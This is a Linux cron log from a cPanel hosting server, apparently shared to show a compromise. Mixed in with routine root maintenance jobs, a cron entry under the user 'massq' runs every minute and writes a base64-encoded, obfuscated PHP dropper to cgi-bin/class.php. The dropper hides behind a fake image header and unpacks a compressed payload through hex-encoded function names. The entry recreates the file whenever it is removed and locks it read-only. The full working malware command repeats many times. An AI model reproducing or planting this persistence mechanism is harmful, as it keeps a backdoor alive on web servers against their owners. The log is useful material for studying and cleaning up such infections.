Sep  2 13:44:01 server CROND[27926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:45:01 server CROND[28324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:45:01 server CROND[28326]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:45:01 server CROND[28328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:45:01 server CROND[28332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:45:01 server CROND[28333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:45:01 server CROND[28330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:45:01 server CROND[28329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:46:01 server CROND[29212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:46:01 server CROND[29213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:46:01 server CROND[29214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:47:01 server CROND[29634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:47:01 server CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:47:01 server CROND[29636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:48:01 server CROND[30033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:48:01 server CROND[30034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:48:01 server CROND[30035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:49:01 server CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:49:01 server CROND[30414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:49:01 server CROND[30415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:50:01 server CROND[30805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:50:01 server CROND[30807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:50:01 server CROND[30809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:50:01 server CROND[30808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:50:01 server CROND[30814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:50:01 server CROND[30810]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:50:01 server CROND[30813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:50:01 server CROND[30811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:50:01 server CROND[30816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:51:01 server CROND[31649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:51:01 server CROND[31650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:51:01 server CROND[31651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:52:02 server CROND[32131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:52:02 server CROND[32132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:52:02 server CROND[32133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:53:01 server CROND[32524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:53:01 server CROND[32525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:53:01 server CROND[32526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:54:01 server CROND[453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:54:01 server CROND[454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:54:01 server CROND[455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:55:01 server CROND[871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:55:01 server CROND[873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:55:01 server CROND[880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:55:01 server CROND[882]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:55:01 server CROND[885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:55:01 server CROND[881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:55:01 server CROND[883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:56:01 server CROND[1815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:56:01 server CROND[1816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
